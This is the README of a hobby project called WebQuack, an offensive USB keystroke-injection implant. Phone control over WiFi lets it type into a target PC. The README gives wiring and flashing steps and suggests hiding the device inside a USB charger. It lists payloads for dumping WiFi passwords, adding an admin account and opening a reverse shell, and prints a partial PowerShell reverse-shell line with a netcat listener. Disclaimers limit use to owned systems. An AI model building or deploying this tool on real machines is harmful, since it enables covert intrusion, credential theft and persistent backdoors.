Warning
This project is created strictly for educational and research purposes. The author is NOT responsible for any misuse, damage, or illegal activities carried out with this tool. By using this software or hardware, you agree that you are doing so at your own risk. As this repository is public, I am not liable for how third parties choose to use, modify, or distribute this code.
[Target PC] ──USB──> [Pro Micro] ──Serial──> [D1 Mini Pro] <──WiFi── [Your Phone]
(keyboard) (web server) (web UI)
| Part | Purpose |
|---|---|
| Arduino Pro Micro (5V/16MHz) | USB HID keyboard/mouse to target PC |
| Wemos D1 Mini Pro | WiFi hotspot + web server + C2 brain |
| Logic Level Shifter (3.3V↔5V) | Safely bridge TX/RX between boards |
| 4× jumper wires | Wiring |
| Optional: USB-A male breakout | Hide inside USB charger/cable |
- Download Arduino IDE 2.x from arduino.cc
- Open File > Preferences, add this URL to "Additional Boards Manager URLs":
https://arduino.esp8266.com/stable/package_esp8266com_index.json - Go to Tools > Board > Boards Manager, search
esp8266, install ESP8266 by ESP8266 Community - The Pro Micro uses AVR boards — already built in. No extra install needed.
Open Tools > Manage Libraries, install:
| Library | Author |
|---|---|
ESPAsyncWebServer |
Me-No-Dev |
ESPAsyncTCP |
Me-No-Dev |
LittleFS (comes with ESP8266 core) |
Built-in |
Note: ESPAsyncWebServer may not appear in Library Manager. If so:
Download ZIP from: https://github.com/me-no-dev/ESPAsyncWebServer
Then Sketch > Include Library > Add .ZIP Library
Do the same for ESPAsyncTCP: https://github.com/me-no-dev/ESPAsyncTCP
This uploads the data/ folder (your web UI + payloads) to the D1 Mini's flash.
- Go to: https://github.com/earlephilhower/arduino-littlefs-upload
- Download the latest
.vsixfile - In Arduino IDE 2.x: Sketch > Include Library > Add .ZIP Library
- OR install as a plugin via Arduino IDE's Plugin Manager
- After install, you'll see Tools > ESP8266 LittleFS Data Upload
- Open
WebQuack/pro_micro/pro_micro.inoin Arduino IDE - Tools > Board > Arduino AVR Boards > Arduino Micro
⚠️ Select "Arduino Micro" not "Leonardo" — Pro Micro uses same chip
- Tools > Port — select the COM port that appears when you plug in Pro Micro
- Click Upload (→ arrow button)
- You'll see
avrdude done. Thank you.when done
Troubleshooting Double-Tap Reset: If upload fails, double-tap the reset button on the Pro Micro right when you click Upload. This enters bootloader mode.
- Open
WebQuack/d1_mini/d1_mini.ino - Tools > Board > ESP8266 Boards > LOLIN(WEMOS) D1 mini Pro
- Tools > Upload Speed:
115200 - Tools > Flash Size:
16M (FS:14M OTA:~1019KB)← important! - Tools > Port — select COM port for D1 Mini
- Click Upload
⚠️ Do this AFTER Step 5, with D1 Mini still connected.
- In Arduino IDE with
d1_mini.inoopen - Click Tools > ESP8266 LittleFS Data Upload
- It uploads everything inside
d1_mini/data/to the D1 Mini's filesystem - Wait for
[LittleFS] Upload Successmessage
POWER: Plug EACH board into its OWN USB port. Do NOT share power rails.
D1 Mini Pro [right col] Level Shifter Pro Micro [left col]
─────────────────────── ───────────── ────────────────────
TX (col 2, pin 1 top) ─────► HV1 ─► LV1 ───► RXI (col 1, pin 2)
RX (col 2, pin 2) ◄───── HV2 ◄─ LV2 ◄─── TXO (col 1, pin 1)
GND (col 2, pin 7) ─────────────────────── GND (col 1, pin 3)
3V3 (col 1, pin 8 bot) ─────── LV ref input
[Pro Micro VCC] ─────── HV ref input
| Wire | From (Pro Micro) | Level Shifter | To (D1 Mini Pro) | Notes |
|---|---|---|---|---|
| Power (HV Ref) | VCC (5V pin) | HV ref input | - | Reference voltage for Pro Micro |
| Power (LV Ref) | - | LV ref input | 3V3 (col 1, pin 8 bot) | Reference voltage for ESP8266 |
| Ground | GND (left col, pin 3) | GND | GND (col 2, pin 7) | Shared ground through shifter |
| Serial RX←TX | RXI (left col, pin 2) | LV1 ← HV1 | TX (col 2, pin 1 top) | D1 Mini 3.3V signals read by Pro Micro |
| Serial TX→RX | TXO (left col, pin 1) | HV2 → LV2 | RX (col 2, pin 2) | Pro Micro 5V stepped down to 3.3V |
⚠️ WHY LEVEL SHIFTER: Pro Micro TXO uses 5V logic. D1 Mini RX max limit is 3.3V. Providing 5V to the ESP's RX pin without a shifter can permanently damage it! Do not build this without a Logic Level Shifter.
- Wire boards together as above
- Plug Pro Micro USB into your test PC (your own PC only!)
- Power D1 Mini via USB (phone charger or second USB port)
- On your phone → WiFi settings → connect to
WebQuack(password:hacker123) - Open browser →
http://192.168.4.1 - You should see the hacker dashboard
- Tap KEYBOARD tab → type something in Live Inject → tap ⚡ INJECT
- Watch it type on your PC! 🎉
WebQuack/
├── pro_micro/
│ └── pro_micro.ino ← Flash to Arduino Pro Micro
└── d1_mini/
├── d1_mini.ino ← Flash to D1 Mini Pro
└── data/ ← Upload via LittleFS tool
├── index.html ← Web UI dashboard
└── payloads/
├── wifi_dump.txt
├── reverse_shell.txt ← Edit ATTACKER_IP first!
├── add_admin.txt
└── lock_screen.txt
Edit reverse_shell.txt — replace ATTACKER_IP with your machine's IP:
KEY:$c=New-Object Net.Sockets.TCPClient('192.168.1.50',4444);...
On your machine, start the listener before running payload:
nc -lvnp 4444- Educational Use Only: This tool is for learning about HID security and serial communication.
- No Liability: The author assumes no liability and is not responsible for any misuse or damage caused by this program.
- Permission Required: Use only on your own systems or systems you have explicit written permission to test. Unauthorized HID attacks are illegal under computer fraud laws.
- Public Repository: Since this code is public, the user takes full responsibility for its application.
| Problem | Fix |
|---|---|
| Pro Micro not detected | Double-tap reset button, try "Arduino Micro" board selection |
| D1 Mini upload fails | Hold FLASH button while pressing RESET, then release RESET |
| Web UI not loading | Make sure LittleFS upload was done (Step 6) |
| Text not injecting | Check Serial wiring, verify level shifter orientation |
| WiFi AP not visible | Wait 10 seconds after D1 Mini powers on |
| Keystrokes skipping | Add DELAY:50 between KEY commands in payload |